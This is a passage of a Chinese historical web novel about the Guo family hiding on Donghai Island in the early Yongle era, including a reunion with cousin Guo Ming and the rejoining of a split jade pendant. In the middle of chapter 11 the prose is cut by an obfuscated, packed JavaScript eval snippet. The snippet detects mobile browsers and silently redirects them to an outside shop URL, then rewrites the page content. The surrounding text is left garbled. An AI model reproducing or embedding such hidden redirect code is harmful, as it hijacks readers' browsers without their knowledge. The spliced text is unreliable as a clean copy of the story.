“那我们呢?”郭玘抬起头,眼中满是担忧,“我们会不会也像他们一样被抓?我们是不是也做错了什么?” 郭斌心中一酸,将儿子搂在怀中:“我们没有做错什么。只是我们的家族,在洪武朝遭遇了不公,不得不隐姓埋名,四处逃亡。但你要记住,我们郭家是忠良之后,你祖父郭兴是开国功臣,为大明立下了赫赫战功。我们现在所做的一切,都是为了活下去,为了等待洗刷家族冤屈的那一天。” 他从儿子手中拿过那半块“勇”字玉佩,放在掌心,借着天光,玉佩上的“勇”字和背面的“郭”字古体字暗纹清晰可见。“你看这玉佩,它是我们家族的根。只要它还在,我们郭家的香火就不会断,无论遇到什么困难,我们都能挺过去。” 郭玘看着玉佩上温润的光泽,又看了看父亲坚定的眼神,心中的恐惧渐渐消散。他重重点点头:“爹,我明白了。我会好好练武,认真读书,将来一定要为家族洗刷冤屈,让所有人都知道,我们郭家是忠良之后。” 郭斌心中一暖,将玉佩还给儿子:“好,爹相信你。但你也要记住,在没有足够强大之前,我们必须学会隐忍。隐忍不是懦弱,是为了更好地活下去,是为了等待反击的时机。” 就在这时,院门外传来一阵急促的敲门声。郭斌心中一紧,示意族人戒备,自己则起身走到门边,低声问道:“谁?” “先生,是我,李诚。”门外传来李诚的声音,带着一丝焦急,“出事了,卫所开始清查军户中的建文旧部,已经有几名军户因为与建文朝有牵连被抓了!我们必须立刻离开这里!” 郭斌心中一沉,最坏的事情还是发生了。他立刻下令:“郭福伯,带着女眷和孩子躲进地窖!其他人跟我走,准备撤离!” 族人们早已做好了准备,闻言立刻行动起来。郭福带着女眷和孩子钻进地窖,郭斌则带着几名年轻男丁,打开院门,与李诚汇合。 “先生,海边的船只已经安排好了,我们现在就走!”李诚道。 “好!”郭斌点点头,回头看了一眼自己亲手耕种了三年的田地,心中满是不舍。这里是他们安稳了三年的家,如今却不得不再次逃亡。 一行人趁着夜色,悄悄离开了屯田区的院落,朝着海边的渔村走去。卫城内外戒备森严,燕军士兵四处巡逻,他们小心翼翼地避开巡逻队,在夜色中艰难前行。 郭玘紧紧跟在父亲身边,小手紧紧攥着玉佩,不敢发出一丝声音。他能感受到父亲身上的紧张气息,也能听到远处传来的惨叫声,心中却不再恐惧——他知道,只要跟着父亲,跟着族人,就一定能找到生路。 经过两个时辰的潜行,他们终于抵达了海角的渔村。一艘小船早已在码头等候,船夫是郭兴的旧部,见到郭斌等人,连忙招呼他们上船。 “先生,快上船吧,再晚就来不及了!”船夫道。 郭斌带领族人登上小船,李诚也跟着上了船:“先生,我送你们到东海岛,那里的守将是我的旧友,会为你们提供庇护。” 小船缓缓驶离码头,朝着东海岛的方向驶去。郭斌站在船头,望着渐渐远去的海州城,心中百感交集。这三年来,他们在海州的生活虽然安稳,却始终如履薄冰。如今,他们不得不再次踏上逃亡之路,前往一个更加偏僻的地方。 “爹,我们还会回来吗?”郭玘走到父亲身边,望着漆黑的海面问道。 郭斌摸了摸儿子的头,目光坚定:“会的。等天下真正太平了,等我们洗刷了家族的冤屈,我们一定会回来。不仅要回到海州,还要回到淮西祖宅,让所有人都知道,我们郭家没有错,我们是忠良之后。” 郭玘重重点头,握紧了手中的玉佩。他知道,这一天或许很遥远,但只要他们不放弃,就一定能等到。 小船在海面上颠簸前行,雪风依旧呼啸,海浪依旧翻滚。郭斌望着远处东海岛的模糊轮廓,心中暗暗发誓:无论未来多么艰难,他都会带着族人,带着儿子,坚守“忠勇”家训,隐忍蛰伏,等待家族重见天日的那一天。 永乐元年春,朝廷的清算之风渐渐平息。郭斌在东海岛收到了李诚带来的消息:郭铭大人在京城已经效忠永乐朝廷,凭借着过人的才干和郭家的旧部关系,担任了中军都督府佥事,有了一定的话语权。他还带来了郭铭的密信,信中说,新皇朱棣虽然手段狠辣,但重视军功,善待功臣旧部,郭家洗刷冤屈的机会,或许即将到来。 郭斌看着密信,心中百感交集。他知道,这只是一个新的开始,未来的路依旧充满了未知与挑战。但他不再迷茫,不再畏惧——手中有玉佩,心中有信念,身边有族人,这就足够了。 这一日,郭斌带着郭玘在东海岛的烽燧上巡逻。烽燧高耸,能俯瞰整个海面。郭玘指着远处的海州城,问道:“爹,我们什么时候才能回去?我想念那里的田地,想念那里的朋友。” 郭斌望着远处的海州城,眼中充满了期盼:“快了。玘儿,你要记住,无论我们身处何地,都不能忘记自己的根,不能忘记‘忠勇’二字。只要我们坚守初心,总有一天,我们会光明正大地回到那里,让郭家的荣光重现。” 郭玘重重点头,眼中闪烁着坚定的光芒。他握紧手中的玉佩,仿佛握住了家族的未来。海风吹拂着他的衣衫,也吹起了他心中的希望。他知道,只要跟着父亲,跟着族人,坚守“忠勇”家训,就一定能等到那一天的到来。 而此刻的海州城,清算已经结束,新的秩序正在建立。郭斌和族人的离去,如同投入大海的一颗石子,没有引起丝毫波澜。但没有人知道,在东海岛的海风中,一个背负着家族冤屈的少年,正在悄然成长。他手中的半块玉佩,不仅承载着郭家的过去,更寄托着郭家的未来。壬午年的血光已经散去,但属于郭家的故事,还在继续。 11. 第二卷 海州藏璧 第11章 叔侄相见 永乐二年秋,海州的海风褪去了暑气,带着干爽的凉意掠过东海岛的礁石。郭斌正带着郭玘在烽燧下练刀,十二岁的少年身形愈发挺拔,手中的短刀随着招式舞动,发出“呼呼”的破空声。三年来,他们在东海岛安稳蛰伏,郭玘不仅练就了一身扎实的武艺,更在郭斌的教导下饱读诗书,眉宇间既有武将后代的刚毅,又有文人的沉稳。 “玘儿,出刀要稳,收刀要快,力从腰发,而非臂使。”郭斌手持木刀,指点着儿子的招式。他的武艺得自父亲郭兴亲传,又在多年逃亡与戍边中不断精进,如今传授给儿子,既是家族技艺的传承,也是乱世中自保的根本。 郭玘闻言,调整呼吸,重新挥刀。刀锋划过空气,落点愈发精准。他停下动作,额角渗着细密的汗珠,目光却明亮如星:“爹,这样是不是就好了?” “不错,进步很快。”郭斌点点头,眼中满是欣慰,“但切记,习武是为了护己护人,而非好勇斗狠。如今永乐新朝初立,时局虽渐平稳,却依旧暗流涌动,凡事需谨慎。” 郭玘重重点头,将父亲的话记在心里。他知道,自己的家族与旁人不同,父亲口中的“谨慎”,是刻在骨子里的生存准则。 正在这时,岛西侧的瞭望哨传来信号——有官船靠近东海岛。郭斌心中一紧,东海岛地处偏僻,除了卫所的补给船,极少有官船前来。他示意郭玘收起刀,快步走向码头方向。 “郭斌先生,是东海卫的官船,好像是京城来了大人物,卫所左千户大人亲自陪同前来巡查海防。”守岛的百户迎上前来,神色带着几分谨慎。 郭斌心中一动,京城来的大人物?永乐朝初立,朱棣登基后虽重用武将,但对洪武旧臣依旧多有猜忌。此次前来巡查的“大人物”,会是谁?他叮嘱道:“按卫所规矩迎接,不必多言,凡事听我吩咐。” 片刻后,一艘装饰考究的官船停靠在码头。船身雕刻着精美的云纹,桅杆上悬挂着“锦衣卫”的旗帜,在风中猎猎作响。郭斌心中一凛——锦衣卫直接对皇帝负责,是新朝最核心的监察力量,此次前来东海岛,绝非单纯的海防巡查。 舱门打开,率先走下的是东海卫所左千户大人,他身着正五品武官服饰,神色恭敬地侧身等候。随后,一名身着绯色官服的男子迈步走下船,约莫四十余岁,面容刚毅,眼神锐利如鹰,腰间佩着绣春刀,气场沉稳而威严。 郭斌的目光落在男子脸上,心中猛地一震——那眉眼间的轮廓,与父亲郭兴有七分相似,更与记忆中少年时见过的堂兄郭铭如出一辙!只是当年的郭铭还是武定侯府的公子,如今却身着锦衣卫官服,周身多了几分久经朝堂的凌厉。 男子的目光也恰好扫过郭斌,眼中闪过一丝不易察觉的波动,随即恢复平静,仿佛只是在打量一名普通的守岛军户。 “下官东海卫所左千户张威,恭迎钦差大人!”张威躬身行礼,语气恭敬。 男子微微颔首,声音沉稳有力:“奉旨巡查海防,不必多礼。东海岛是东海卫前沿据点,工事、军备、军户情况,一一报来。” “是!”张威应道,转身示意郭斌上前,“大人,这位是郭斌,本岛屯田小旗,负责岛上军户训练与屯田事务,对东海岛情况最为熟悉。” 郭斌躬身行礼,语气恭敬却不卑不亢:“军户郭斌,参见钦差大人。”他刻意压低声音,避免露出熟悉的口音,同时密切观察着男子的反应。 大人的目光在他脸上停留了片刻,又扫过站在一旁的郭玘,眼中闪过一丝复杂的情绪——有欣慰,有担忧,还有一丝难以言说的沉重。“不必多礼,带路吧。” 接下来的半日,郭斌陪同大人巡查了岛上的烽燧、工事与屯田区。大人询问得极为细致,从海防巡逻的路线,到军户的口粮供应,再到倭寇侵扰的应对策略,无一不涉及。郭斌一一作答,言语简洁准确,既不刻意表现,也不刻意隐瞒,始终保持着普通军户的本分。 郭玘跟在父亲身后,心中满是好奇。他能感觉到这位钦差大人的目光时不时落在自己身上,那目光中没有官威的压迫,反而带着一种莫名的亲切感。他悄悄打量着男子,总觉得在哪里见过,却又想不起来。 巡查至岛南侧的屯田区时,大人突然停下脚步,目光落在田间晾晒的粮食上:“东海岛土地贫瘠,能有如此收成,郭旗官管理有方。” “大人过奖,皆是军户们辛勤劳作之功,与卫所的体恤分不开。”郭斌谦逊道。 男子点点头,突然话锋一转:“听闻郭旗官是淮西濠州人?” 郭斌心中一紧,面上却不动声色:“正是。家乡遭灾,逃荒至海州,蒙卫所收留,入了军籍。” “濠州是龙兴之地,民风剽悍,多出武将。”男子的目光似乎不经意地掠过郭斌的腰间,“郭小旗的武艺,想必也是家传吧?” “不过是田间劳作之余,跟着同乡学了些粗浅功夫,算不上家传。”郭斌避开对方的目光,语气平淡。他知道,对方的每一个问题都暗藏试探,稍有不慎便可能暴露身份。 男子不再追问,转身继续前行。走到一处僻静的礁石旁时,他突然对张威道:“张左千户,你去查看西侧烽燧的军备情况,我与郭小旗单独谈谈屯田事务。” 张威虽有疑惑,却不敢违抗,连忙躬身应道:“是,下官这就去。” 待张威走远,礁石旁只剩下郭斌、郭玘与钦差三人。海风呼啸着掠过礁石,卷起细碎的沙粒。男子转过身,目光直视着郭斌,声音压低了几分,却带着不容置疑的熟悉感:“景扬弟,别来无恙?” 郭斌浑身一震,猛地抬头看向男子。这声“景扬弟”,如同惊雷般在他耳边炸开——除了至亲,无人知晓他的原名“郭景扬”!他嘴唇微动,声音带着一丝颤抖:“铭……铭哥?” 男子眼中闪过一丝泪光,上前一步,拍了拍郭斌的肩膀:“是我,郭铭。”随后他从兜里取出一个玉哨置于口中轻轻一吹,哨音在海风里撞入耳畔,沁入心扉。 多年的隐忍与思念在这一刻爆发,郭斌的眼眶瞬间湿润。自巩昌侯府被抄后,他与郭铭便断了联系,如今时隔多年,上官威仪,哪敢相认。他拿出那个平日里从不示人的玉哨(深怕郭玘玩耍泄露身世),同样轻轻一吹,如泣如诉。他哽咽道:“铭哥,我以为……以为再也见不到你了。” “我也是。”郭铭叹了口气,目光中满是感慨,“巩昌侯府被抄后,我四处打探你的消息,却杳无音信。直到你入了东海卫军籍,李诚暗中传信,我才知道你一切安好。这些年,你受苦了。” 郭玘站在一旁,听得一头雾水。他看着父亲与这位钦差大人相认的场景,心中隐约猜到了什么,更是被那一对玉哨震撼,却不敢贸然开口。 郭斌擦了擦眼角的泪水,拉过郭玘,对郭铭道:“铭哥,这是犬子郭玘。玘儿,快见过你郭铭叔。” 郭玘连忙躬身行礼:“侄儿郭玘,见过铭叔。” 郭铭的目光落在郭玘身上,仔细打量着这个侄儿。少年眉眼间既有郭兴的英气,又有郭斌的沉稳,让他想起了年轻时的自己与已故的郭景振。他心中一酸,伸手摸了摸郭玘的头:“好孩子,都长这么大了。你父亲把你教得很好。” 郭玘抬起头,看着郭铭眼中温和的目光,心中的陌生感渐渐消散。他能感觉到,这位素未谋面的叔父,与自己有着血脉相连的亲近。 “铭哥,你如今……”郭斌打量着郭铭的锦衣卫官服,欲言又止。他知道,锦衣卫是朱棣的亲信力量,郭铭能担任此职,必然在新朝站稳了脚跟。 “我如今任锦衣卫指挥佥事,正四品衔。”郭铭直言道,语气中带着几分谨慎,“永乐登基后,虽重用洪武旧臣,但对我们这些淮西勋贵后代依旧多有猜忌。我能有今日,一是靠着父亲的谨慎隐忍,二是在靖难之役中略有战功,才得以进入锦衣卫,为陛下效力。” 郭斌心中一沉,锦衣卫虽权柄甚重,却也是最危险的职位,终日伴君如伴虎。“铭哥,你身处朝堂,务必多加小心。” “我明白。”郭铭点点头,“此次前来海州巡查,名义上是查看海防,实则是借机与你见面。如今新朝初立,朱棣多疑,对洪武朝的罪臣余孽追查从未停止。你们在东海岛虽隐蔽,但终究不是长久之计。” 他顿了顿,继续道:“我此次前来,一是为了见你们一面,确认你们安好;二是有重要的东西要交还与你。” 郭铭说着,从怀中取出一个锦袋,打开后,里面躺着半块玉佩——玉佩质地温润,上面刻着一个“忠”字,断裂处的纹路清晰可见,与郭斌贴身收藏的“勇”字玉佩恰好契合。 郭玘心中一震,伸手从怀中取出自己的半块玉佩。两块玉佩放在一起,严丝合缝,“忠勇”二字完整呈现,在阳光下散发着温润的光芒。这是郭兴当年劈裂的传家玉佩,“忠”字玉佩由兄长郭景振保管,“勇”字玉佩由郭景扬传承,兄长之后遇害,这半块“忠”字玉佩,是郭铭从锦衣卫处取回的。 “这半块‘忠’字玉佩,是景振兄遇难后,我设法从锦衣卫的卷宗中取回的。”郭铭的声音带着一丝悲痛,“景振兄在流放途中遇害,尸骨无存,只留下这半块玉佩,是郭家的念想。如今,两块玉佩终于合璧,也算是了却了一桩心愿。” 郭斌抚摸着两块合璧的玉佩,泪水再次滑落。兄长的惨死,家族的苦难,多年的逃亡,在这一刻都化作了无尽的悲痛与感慨。他知道,这两块玉佩不仅是家族的信物,更是“忠勇”家训的传承,是支撑他走过艰难岁月的精神支柱。 海风卷着浪花,拍打着礁石,发出沉闷的声响。郭斌将两块合璧的玉佩紧紧握在手中,温润的玉质仿佛能慰藉心中的伤痛。郭玘站在一旁,看着父亲与叔父脸上的神情,虽不完全明白其中的深意,却也感受到了家族传承的厚重。 “铭哥,多谢你取回兄长的玉佩。”郭斌的声音带着一丝哽咽,“若不是你,这传家之物恐怕早已遗失。” “自家兄弟,不必言谢。”郭铭摇摇头,眼中满是感慨,“伯父当年劈裂玉佩,便是希望你们兄弟二人能坚守‘忠勇’二字,共护家族。如今景振兄已逝,这份责任,便落在了你和玘儿身上。” 他看向郭玘,语气郑重:“玘儿,你是郭家的希望。这‘忠勇’二字,你要牢记在心。‘忠’不是愚忠,是守住本心,忠于家国;‘勇’不是鲁莽,是危难时的担当,是绝境中的坚守。” 郭玘重重点头,接过父亲递来的合璧玉佩,紧紧握在手中:“叔父放心,侄儿定当牢记‘忠勇’家训,不负家族期望。” 郭铭满意地点点头,从怀中取出一封密封的书信,递给郭斌:“这是‘郭府联络信’,上面有我在京城和海州的秘密联络方式。若日后遇到紧急情况,可凭此信联系我的人,他们会尽力相助。” 郭斌接过书信,小心翼翼地收入怀中:“铭哥,这份恩情,郭家没齿难忘。” “不必如此。”郭铭道,“郭家本是一脉,相互扶持是应该的。父亲郭英如今在京中安好,已致仕在家,闭门谢客,得以安享晚年。武定侯府虽依旧谨慎,却也算是安稳。你们在东海岛,暂时无需担忧被牵连,但必须记住一点——切勿暴露真实身份。” 他的语气变得格外严肃:“朱棣此人,雄才大略却也生性多疑。他登基后,虽对靖难功臣大加封赏,却对洪武旧臣,尤其是与胡惟庸有牵连的家族,始终保持警惕。一旦你们的身份暴露,不仅你们自身难保,甚至可能牵连武定侯府。” 郭斌心中一凛,连忙道:“铭哥放心,我们这些年一直隐姓埋名,从未暴露过真实身份。在海州,我们只是普通军户,无人知晓我们与巩昌侯府的关系。” “那就好。”郭铭点点头,“但不可掉以轻心。东海岛虽偏,却也有卫所的军户往来,难免会有认识你们的人。日后行事,务必低调,不可轻易显露武艺,更不可提及家族过往。” 他顿了顿,继续道:“我已暗中打点了东海卫所左千户张威,让他对你们多加照拂。东海岛的军户名额,我也帮你们巩固了,短期内不会有变动。你们可继续在此蛰伏,等待合适的时机。” “合适的时机?”郭斌心中一动,“铭哥,你的意思是……我们还有机会洗刷家族的冤屈?” “机会是有的,但不是现在。”郭铭沉声道,“朱棣登基后,为了巩固统治,正在逐步平反一些洪武朝的冤案,但大多是靖难功臣的旧案。我们郭家与胡惟庸案有牵连,想要平反,还需等待时机。如今最重要的,是保全自身,让郭家的香火延续下去。” 他看着郭玘,眼中满是期许:“玘儿年纪尚小,正是读书习武的好时候。你要好好教导他,不仅要让他练就一身本领,更要让他明辨是非,懂得隐忍。待他长大成人,或许便是郭家洗刷冤屈的时机。” 郭斌点点头,心中充满了坚定:“铭哥放心,我定会好好教导玘儿,让他成为一个有担当、有智慧的人,不辜负家族的期望。” 郭铭站起身,看了看天色:“时间不早了,我还要赶回海州城,明日便要返程回京。此次相见,虽仓促却也了却了我的心愿。你们在海州,务必保重。若有任何消息,我会让李诚暗中传递。” 郭斌也站起身,心中满是不舍:“铭哥,一路保重。朝堂凶险,务必多加小心。” “我会的。”郭铭拍了拍郭斌的肩膀,又看向郭玘,“玘儿,好好听你父亲的话,刻苦读书,勤练武艺。叔父在京城,等着看你长大成人,为家族争光。” “侄儿记下了。”郭玘躬身道。 郭铭最后看了一眼合璧的玉佩,转身朝着码头方向走去。他的步伐沉稳,背影在夕阳的映照下显得格外孤单。郭斌带着郭玘,站在礁石旁,目送着他登上官船,直到官船驶离码头,消失在海平面的尽头。 “爹,我们真的还有机会回到淮西祖宅,洗刷家族的冤屈吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914081|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭玘看着手中的玉佩,轻声问道。 郭斌摸了摸儿子的头,目光望向远方的海平面,眼中满是坚定:“会的。只要我们坚守‘忠勇’家训,隐忍蛰伏,总有一天,我们郭家会冤屈得雪,让所有人都知道,郭家是忠良之后,不是什么罪臣余孽。” 他将合璧的玉佩重新分开,将刻有“忠”字的半块递给郭玘:“这半块‘忠’字玉佩,从今往后由你保管。你要记住,‘忠’是立身之本,‘勇’是成事之基,只有‘忠勇’兼备,才能在乱世中立足,才能为家族洗刷冤屈。” 郭玘郑重地接过“忠”字玉佩,贴身藏好:“爹,我记住了。我一定会好好保管玉佩,牢记家训,早日为家族洗刷冤屈。” 郭斌点点头,将“勇”字玉佩贴身收好。两块玉佩虽再次分离,却如同父子二人心中的信念,紧紧相连。 回到岛上的居所,郭斌将郭铭留下的“郭府联络信”藏在床底的暗格中,又召集族人,告知了与郭铭相见的情况。族人们听闻武定侯府安好,郭铭在京城站稳脚跟,还带来了家族的传家玉佩,都激动不已。 “先生,如今有郭铭大人在京城照拂,我们是不是就安全了?”郭福问道,眼中满是期盼。 “暂时安全,但依旧不能掉以轻心。”郭斌沉声道,“铭哥已经叮嘱过,朱棣多疑,我们的身份绝不能暴露。我们暂居东海岛,依旧要保持低调,安心耕种戍边,不可有任何轻举妄动。” 他顿了顿,继续道:“铭哥留下了联络方式,若日后遇到紧急情况,我们便可联系他的人。但不到万不得已,切不可动用。如今我们能做的,便是继续隐忍,等待时机。” 族人们纷纷点头,心中的希望愈发坚定。有了武定侯府的暗中支持,有了传家玉佩的合璧,他们相信,家族的苦难终将过去,光明的未来就在前方。 接下来的日子,郭斌与族人依旧在东海岛过着屯守的生活。郭玘更加刻苦地读书习武,不仅武艺日益精进,学问也日渐深厚。他时常拿出“忠”字玉佩,摩挲着上面的纹路,想起父亲与叔父的嘱托,心中的信念愈发坚定。 这一日,郭斌正在田间查看庄稼长势,李诚突然乘船来到东海岛。他神色匆匆,见到郭斌便道:“郭斌先生,郭铭大人有消息传来。” 郭斌心中一紧,连忙引李诚到僻静处:“什么消息?” “郭铭大人在京城打探到,朱棣近期要大规模整顿沿海卫所,清查军户中的可疑人员。”李诚沉声道,“东海岛虽偏,但也可能会被波及。郭铭大人让我转告你,务必做好准备,若清查力度加大,便带着族人前往海州城东侧的网疃渔村,那里有我们的旧部接应。” 郭斌心中一沉,朱棣果然还是没有放松对军户的监控。“我明白了。多谢李百户专程前来通报。” “先生不必客气。”李诚道,“郭铭大人还说,他已在海州城为你们安排了退路,若情况危急,可凭联络信前往城中的‘关庙巷客栈’,掌柜的会接应你们。” 郭斌点点头,将李诚的话记在心里:“有劳铭哥费心了。我们会做好准备,一旦情况有变,便立刻撤离。” 李诚离去后,郭斌立刻召集族人,安排应变之事。他让族人们开始打包重要物资,加固院落的防御,同时密切关注岛上的动向。郭玘也主动承担起责任,每日带着族中的年轻男丁在岛上巡逻,警惕任何异常情况。 永乐二年冬,海州果然传来清查军户的命令。卫所左千户张威亲自带领官兵来到东海岛,逐一核对军户的身份信息。郭斌心中虽紧张,却依旧保持镇定,按照事先准备的说辞应答,张威因受过郭铭的嘱托,并未过多为难,只是象征性地核对了信息便离去了。 清查结束后,郭斌长长地松了一口气。他知道,这只是暂时的安全,朱棣的多疑不会轻易消除,未来的路依旧充满了未知与挑战。但他不再畏惧,因为他手中有传家玉佩,心中有“忠勇”家训,身边有同心同德的族人,更有武定侯府的暗中支持。 这一日,郭斌带着郭玘在海边散步。夕阳西下,将海面染成一片金黄。郭玘望着手中的“忠”字玉佩,对父亲道:“爹,叔父说,等我长大成人,或许就是家族洗刷冤屈的时机。我一定要快点长大,为家族做点什么。” 郭斌看着儿子坚定的眼神,心中一暖。他知道,儿子已经长大了,能够扛起家族的责任。他伸手握住儿子的手,指着远方的海平面:“玘儿,你看,大海虽辽阔,却也有彼岸。我们的家族就像在海上航行的船只,虽然历经风浪,却始终朝着彼岸前进。只要我们坚守‘忠勇’二字,团结一心,就一定能抵达彼岸,实现家族的复兴。” 郭玘重重点头,眼中闪烁着坚定的光芒。他握紧手中的“忠”字玉佩,仿佛握住了家族的未来。海风拂过,带着咸湿的气息,也吹起了父子二人心中的希望。 他们在东海岛的生活依旧继续,每日耕种、练武、读书,看似平淡,却处处透着坚韧。郭斌知道,与郭铭的相见,是家族命运的一个重要转折。两块合璧的玉佩,不仅是家族传承的象征,更是团结的纽带。只要他们坚守初心,隐忍蛰伏,等待合适的时机,就一定能洗刷家族的冤屈,让郭家的“忠勇”精神重现荣光。 而此刻的京城,郭铭站在锦衣卫指挥佥事的官署中,望着窗外的皇宫方向,心中满是感慨。他知道,自己身处朝堂,每一步都如履薄冰,但为了郭家的未来,为了伯父的遗愿,为了渐已长大的侄儿,他必须坚持下去。他手中握着一份奏折,上面是关于平反洪武朝部分冤案的建议,其中便隐晦地提及了巩昌侯府的情况。他知道,这份奏折递上去,可能会引起朱棣的猜忌,但他依旧要尝试——为了郭家的冤屈,为了“忠勇”家训的传承,他别无选择。 夜色渐深,东海岛的烽燧上燃起了篝火,照亮了海面,这不是报警,而是引航的光辉。郭斌与郭玘并肩站在烽燧下,望着远方的点点渔火。父子二人手中的玉佩,虽为相隔,却仿佛心意相通。他们知道,家族的复兴之路还很长,充满了未知与挑战,但只要“忠勇”二字在,家族的根就在,希望就在。 永乐三年春,郭斌收到了郭铭通过秘密渠道传来的消息:朱棣暂时搁置了对洪武旧臣冤案的平反,但对沿海卫所的监控有所放松。郭铭建议他们继续在东海岛蛰伏,等待更合适的时机。 郭斌心中虽有遗憾,却也明白,平反之事急不得。他带着族人,继续在东海岛耕种戍边,郭玘也依旧刻苦地读书习武。他们相信,只要坚守“忠勇”家训,团结一心,总有一天,他们会光明正大地活在世间,让郭家的荣光重现于世。 海风依旧吹拂着东海岛,两块“忠勇”玉佩,在父子二人的贴身收藏下,散发着温润的光芒。它们见证了家族的苦难与坚守,也寄托着家族的希望与未来。叔侄相见的场景,如同黑暗中的一束光,照亮了郭家前行的道路,让他们在乱世中,始终保持着坚定的信念,等待着重见天日的那一天。 12. 第二卷 海州藏璧 第12章 永乐反复 永乐二年冬,东海岛的寒风裹挟着海雾,终日笼罩着这座孤悬海上的岛屿。凛冽的风穿过礁石缝隙,发出呜咽般的声响,将岸边的茅草吹得伏倒在地,连海浪拍击礁石的轰鸣都显得沉闷压抑。郭斌正坐在屋中擦拭那半块“勇”字玉佩,指尖摩挲着温润的玉质,目光却落在窗外白茫茫的雾霭中,神色凝重。 窗外传来郭玘练刀的呼喝声,十二岁的少年身形愈发矫健挺拔,一身粗布军户服饰衬得他眉眼间英气初显。手中的短刀是郭斌特意为他打造的,重量贴合他的年纪,劈砍间已能带起凌厉的风声。自上月与郭铭在东海岛秘密相见后,岛上的生活看似依旧平静——耕种、练武、巡查海防,一切按部就班。但郭斌心中的弦,却随着京城传来的每一条消息,愈发紧绷。 “爹,李叔派人送来消息了!”郭玘推门而入,额角带着薄汗,脸颊被寒风冻得通红,手中紧紧攥着一封密封的信函。这是郭铭约定的秘密联络方式,每月初一、十五,李诚会借着卫所补给的名义,通过往来东海岛与海州城的渔民,暗中传递京城与卫城的消息。 郭斌放下玉佩,接过信函的瞬间,指尖已触及信封上冰冷的蜡封。他心中已有几分不祥的预感,小心翼翼地用小刀挑开蜡封,展开信纸。信纸是最普通的粗麻纸,上面的字迹是李诚的手笔,却比往日潦草许多,透着一股难以掩饰的凝重: “郭斌先生亲启:京城异动,永乐帝政策陡变。自永乐二年秋始,陛下以‘整肃军制、巩固皇权’为名,着手收回各地勋贵兵权。武定侯府首当其冲——郭镇大人原掌部分京营兵权,现已被调往宣府戍边,远离京畿中枢;同月,有御史弹劾郭氏家族‘田产逾制、私纳门客’,陛下虽未重罚,却下令削减武定侯府半数赏赐田亩;族中三名子弟本已通过科举初试,却被吏部驳回入仕资格,理由是‘勋贵子弟需避嫌,以防结党’。郭铭大人暗中打探得知,陛下此举,实则针对淮西勋贵集团,尤以洪武旧臣后代为甚。先生务必谨慎,切勿暴露身份,静候后续消息。” 信纸末尾没有落款,只画了一个小小的“铭”字暗记,这是他们约定的安全信号。 郭斌看完信,手指微微颤抖,信纸在他手中几乎要攥出褶皱。他靠在冰冷的土墙上,闭上眼,脑海中翻涌着复杂的情绪。永乐元年朱棣登基之初的场景仿佛还在眼前——那时,他为了拉拢洪武旧勋、巩固刚刚到手的帝位,对武定侯府多加优抚。郭英病逝后,朱棣追赠其为“营国公”,谥“威襄”,礼遇厚重,让郭斌一度以为,郭家洗刷冤屈的时机或许不远了。可仅仅过了一年,风向便彻底逆转。 “爹,怎么了?是不是京城出什么事了?”郭玘见父亲神色不对,连忙问道,小脸上满是担忧。他虽年幼,却也明白,京城的任何风吹草动,都可能影响到他们在东海岛的安稳。 郭斌睁开眼,将信纸重新折好,放入怀中,强压下心中的波澜,摸了摸儿子的头:“没什么大事,只是朝廷调整了一些军制,你郭铭叔让我们多加小心。”他没有说实话,不想让年幼的儿子过早承受这些□□的压力。 但郭玘何等聪慧,父亲的神色早已出卖了他。他想起上月郭铭叔父秘密来访时的叮嘱,想起父亲时常挂在嘴边的“谨慎”二字,心中隐约猜到了几分:“是不是……武定侯府遇到麻烦了?” 郭斌心中一叹,儿子的敏感与早熟,既是天赋,也是乱世中的无奈。他没有再隐瞒,点了点头,语气沉重:“陛下开始削弱淮西勋贵的势力,你郭镇叔被调去了宣府戍边,武定侯府的田产和子弟入仕也受到了限制。” “为什么?”郭玘不解,“郭铭叔不是在锦衣卫任职,深得陛下信任吗?武定侯府也没有做错什么啊!” “帝王心术,向来如此。”郭斌沉声道,“永乐帝刚登基时,需要勋贵的支持来稳定局面,所以对武定侯府多加优抚。如今他皇位渐稳,建文旧部的清算也已近尾声,便开始忌惮淮西勋贵的势力了。你曾祖父郭山甫是洪武爷的开国功臣,你祖父郭兴、叔祖父郭英都是手握重兵的武将,武定侯府在军中根基深厚,又与皇室有联姻——你郭镇叔娶了永嘉公主,这些都让永乐帝难以完全放心。他怕‘功高震主’,怕淮西勋贵势力过大,威胁到他的统治。” 郭玘似懂非懂地点点头,小脸上满是困惑与愤怒:“可这不是卸磨杀驴吗?武定侯府对大明忠心耿耿,怎么还会被陛下猜忌?” “在帝王眼中,忠心与否是其次,权力的平衡才是最重要的。”郭斌的声音带着一丝苦涩,“洪武爷当年大肆诛杀功臣,也是出于同样的忌惮。如今永乐帝不过是故技重施,只是手段更为隐晦罢了。” 他站起身,走到窗边,望着窗外茫茫的海雾。武定侯府是郭家在朝中唯一的依靠,如今连武定侯府都自身难保,他们这些隐姓埋名的罪臣之后,处境更是岌岌可危。一旦武定侯府失势,他们在东海岛的安全便失去了最大的保障。更让他担忧的是,郭铭身在锦衣卫,虽权柄在握,却也身处权力漩涡的中心,稍有不慎便可能引火烧身。而他们手中的“郭府联络信”,既是保命的稻草,也是致命的隐患——一旦这封信落入他人之手,他们与武定侯府的联系便会暴露,到时候,等待他们的只会是灭顶之灾。 当晚,郭斌辗转难眠。他召集了郭福和两名族中长辈,在屋中秘密议事。油灯的光芒昏暗摇曳,映照着每个人凝重的脸庞。 “先生,武定侯府遭此变故,我们该怎么办?”郭福率先开口,语气中满是焦虑,“若是武定侯府失势,我们在东海岛便没了靠山,一旦身份暴露,后果不堪设想。” “是啊,先生。”一名族中长辈附和道,“永乐帝连武定侯府都敢打压,若是知道我们是巩昌侯府的余孽,定会赶尽杀绝!” 郭斌沉默片刻,目光扫过众人,语气坚定:“如今唯一的办法,便是与武定侯府保持距离,彻底斩断明面上的联系。郭铭兄在信中也让我们切勿暴露身份,静候时机。我们现在最危险的,便是那封‘郭府联络信’。” 